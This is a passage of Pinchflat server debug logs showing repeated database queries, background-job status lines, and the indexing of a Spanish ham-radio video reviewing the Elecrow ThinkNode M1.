(m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1258] 21:57:54.744 [debug] Current batch of media processed. Will check again in 1000ms 21:57:54.781 [debug] Current batch of media processed. Will check again in 1000ms 21:57:55.745 [debug] Current batch of media processed. Will check again in 1000ms 21:57:55.782 [debug] Current batch of media processed. Will check again in 1000ms 21:57:56.746 [debug] Current batch of media processed. Will check again in 1000ms 21:57:56.783 [debug] Current batch of media processed. Will check again in 1000ms 21:57:57.747 [debug] Current batch of media processed. Will check again in 1000ms 21:57:57.784 [debug] Current batch of media processed. Will check again in 1000ms 21:57:58.748 [debug] Current batch of media processed. Will check again in 1000ms 21:57:58.785 [debug] Current batch of media processed. Will check again in 1000ms 21:57:59.749 [debug] Current batch of media processed. Will check again in 1000ms 21:57:59.786 [debug] Current batch of media processed. Will check again in 1000ms 21:58:00.074 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:58:00.750 [debug] Current batch of media processed. Will check again in 1000ms 21:58:00.787 [debug] Current batch of media processed. Will check again in 1000ms 21:58:01.751 [debug] Current batch of media processed. Will check again in 1000ms 21:58:01.788 [debug] Current batch of media processed. Will check again in 1000ms 21:58:02.752 [debug] Current batch of media processed. Will check again in 1000ms 21:58:02.789 [debug] Current batch of media processed. Will check again in 1000ms 21:58:03.753 [debug] Current batch of media processed. Will check again in 1000ms 21:58:03.790 [debug] Current batch of media processed. Will check again in 1000ms 21:58:04.754 [debug] Current batch of media processed. Will check again in 1000ms 21:58:04.791 [debug] Current batch of media processed. Will check again in 1000ms 21:58:05.755 [debug] Current batch of media processed. Will check again in 1000ms 21:58:05.792 [debug] Current batch of media processed. Will check again in 1000ms 21:58:06.756 [debug] Current batch of media processed. Will check again in 1000ms 21:58:06.793 [debug] Current batch of media processed. Will check again in 1000ms 21:58:07.757 [debug] Current batch of media processed. Will check again in 1000ms 21:58:07.794 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "La gente de Elecrow han tenido la amabilidad de hacerme llegar una unidad del Elecrow ThinkNode M1 para probarlo. Podeis encontrarlo para la compra en Aliexpress o en el siguiente enlace:\n\nhttps://www.elecrow.com/thinknode-m1-meshtastic-lora-signal-transceiver-powered-by-nrf52840-with-154-screen-support-gps.html?idd=5\n\n#elecrow #lora #meshtastic #meshcore #preppers #hamradio #radioaficionados\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 915, "filename" => "/downloads/music/ea3grn/173 - PROBANDO ELECROW THINKNODE M1.m4a", "id" => "KbhYc5ypNDM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=KbhYc5ypNDM", "playlist_index" => 6, "timestamp" => 1764867638, "title" => "173 - PROBANDO ELECROW THINKNODE M1", "upload_date" => "20251204"} 21:58:07.795 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1063.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 21:58:07.796 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1064.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 21:58:07.797 [debug] QUERY OK source="media_items" db=0.7ms idle=1065.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-04 17:00:38Z], 3] 21:58:07.799 [debug] QUERY OK source="media_items" db=1.1ms idle=615.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["La gente de Elecrow han tenido la amabilidad de hacerme llegar una unidad del Elecrow ThinkNode M1 para probarlo. Podeis encontrarlo para la compra en Aliexpress o en el siguiente enlace:\n\nhttps://www.elecrow.com/thinknode-m1-meshtastic-lora-signal-transceiver-powered-by-nrf52840-with-154-screen-support-gps.html?idd=5\n\n#elecrow #lora #meshtastic #meshcore #preppers #hamradio #radioaficionados\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "173 - PROBANDO ELECROW THINKNODE M1", "a45c4eba-0eb4-44cd-881f-1e94613bb40c", 915, false, "KbhYc5ypNDM", "https://www.youtube.com/watch?v=KbhYc5ypNDM", 6, "/downloads/music/ea3grn/173 - PROBANDO ELECROW THINKNODE M1.m4a", false, false, false, 3, [], 98, ~U[2025-12-04 17:00:38Z], ~U[2026-02-07 20:58:07Z], ~U[2026-02-07 20:58:07Z], "La gente de Elecrow han tenido la amabilidad de hacerme llegar una unidad del Elecrow ThinkNode M1 para probarlo. Podeis encontrarlo para la compra en Aliexpress o en el siguiente enlace:\n\nhttps://www.elecrow.com/thinknode-m1-meshtastic-lora-signal-transceiver-powered-by-nrf52840-with-154-screen-support-gps.html?idd=5\n\n#elecrow #lora #meshtastic #meshcore #preppers #hamradio #radioaficionados\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "173 - PROBANDO ELECROW THINKNODE M1", 915, false, "KbhYc5ypNDM", "https://www.youtube.com/watch?v=KbhYc5ypNDM", "/downloads/music/ea3grn/173 - PROBANDO ELECROW THINKNODE M1.m4a", false, 3, ~U[2025-12-04 17:00:38Z]] 21:58:07.800 [debug] QUERY OK source="sources" db=0.6ms idle=67.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 21:58:07.800 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:58:07.801 [debug] QUERY OK source="media_items" db=0.6ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1293] 21:58:07.801 [debug] Current batch of media processed. Will check again in 1000ms 21:58:08.758 [debug] Current batch of media processed. Will check again in 1000ms 21:58:08.802 [debug] Current batch of media processed. Will check again in 1000ms 21:58:09.759 [debug] Current batch of media processed. Will check again in 1000ms 21:58:09.803 [debug] Current batch of media processed. Will check again in 1000ms 21:58:10.760 [debug] Current batch of media processed. Will check again in 1000ms 21:58:10.804 [debug] Current batch of media processed. Will check again in 1000ms 21:58:11.761 [debug] Current batch of media processed. Will check again in 1000ms 21:58:11.805 [debug] Current batch of media processed. Will check again in 1000ms 21:58:12.762 [debug] Current batch of media processed. Will check again in 1000ms 21:58:12.806 [debug] Current batch of media processed. Will check again in 1000ms 21:58:13.763 [debug] Current batch of media processed. Will check again in 1000ms 21:58:13.807 [debug] Current batch of media processed. Will check again in 1000ms 21:58:14.764 [debug] Current batch of media processed. Will check again in 1000ms 21:58:14.808 [debug] Current batch of media processed. Will check again in 1000ms 21:58:15.765 [debug] Current batch of media processed. Will check again in 1000ms 21:58:15.809 [debug] Current batch of media processed. Will check again in 1000ms 21:58:16.766 [debug] Current batch of media processed. Will check again in 1000ms 21:58:16.810 [debug] Current batch of media processed. Will check again in 1000ms 21:58:17.767 [debug] Current batch of media processed. Will check again in 1000ms 21:58:17.811 [debug] Current batch of media processed. Will check again in 1000ms 21:58:18.768 [debug] Current batch of media processed. Will check again in 1000ms 21:58:18.812 [debug] Current batch of media processed. Will check again in 1000ms 21:58:19.769 [debug] Current batch of media processed. Will check again in 1000ms 21:58:19.813 [debug] Current batch of media processed. Will check again in 1000ms 21:58:20.770 [debug] Current batch of media processed. Will check again in 1000ms 21:58:20.814 [debug] Current batch of media processed. Will check again in 1000ms 21:58:21.093 [info] {"source":"oban","duration":816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:58:21.134 [info] GET /sources/2 21:58:21.134 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 21:58:21.137 [debug] QUERY OK source="sources" db=0.4ms queue=0.2ms idle=1404.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:58:21.137 [debug] QUERY OK source="media_profiles" db=0.5ms idle=1405.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:58:21.139 [debug] QUERY OK source="tasks" db=1.8ms idle=1406.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 21:58:21.140 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.2ms idle=932.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [847] 21:58:21.143 [debug] QUERY OK source="settings" db=0.6ms idle=49.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:21.144 [debug] QUERY OK source="settings" db=0.3ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:21.145 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:21.151 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=11.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:58:21.152 [debug] QUERY OK source="media_items" db=0.9ms idle=11.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 21:58:21.154 [debug] QUERY OK source="media_items" db=1.1ms idle=9.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 21:58:21.155 [debug] QUERY OK source="sources" db=0.5ms idle=10.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:58:21.155 [debug] QUERY OK source="media_items" db=0.5ms idle=9.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 21:58:21.156 [debug] QUERY OK source="media_items" db=0.6ms idle=4.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 21:58:21.157 [debug] QUERY OK source="sources" db=0.5ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:58:21.158 [debug] QUERY OK source="media_items" db=0.6ms idle=3.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 21:58:21.160 [debug] QUERY OK source="media_items" db=0.9ms idle=3.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 21:58:21.162 [info] Sent 200 in 28ms 21:58:21.428 [info] CONNECTED TO Phoenix.LiveView.Socket in 194µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "FQImP1UdAhsTGBYRW2Y3OzUoFggPIGELm1TKmoQyVUUx1TtRfwXIyg-2", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.javi.fr/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "https://pinchflat.javi.fr/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:58:21.553 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", "media_state" => "pending", "source_id" => 2} 21:58:21.555 [debug] QUERY OK source="sources" db=1.3ms queue=0.5ms idle=397.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:58:21.556 [debug] QUERY OK source="media_items" db=0.8ms idle=398.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 21:58:21.558 [debug] QUERY OK source="media_items" db=0.9ms idle=398.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 21:58:21.558 [debug] Replied in 4ms 21:58:21.559 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", "media_state" => "downloaded", "source_id" => 2} 21:58:21.559 [debug] QUERY OK source="sources" db=0.3ms idle=399.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:58:21.561 [debug] QUERY OK source="media_items" db=0.5ms queue=0.8ms idle=350.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 21:58:21.562 [debug] QUERY OK source="media_items" db=0.7ms queue=0.3ms idle=5.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 21:58:21.563 [debug] Replied in 4ms 21:58:21.565 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", 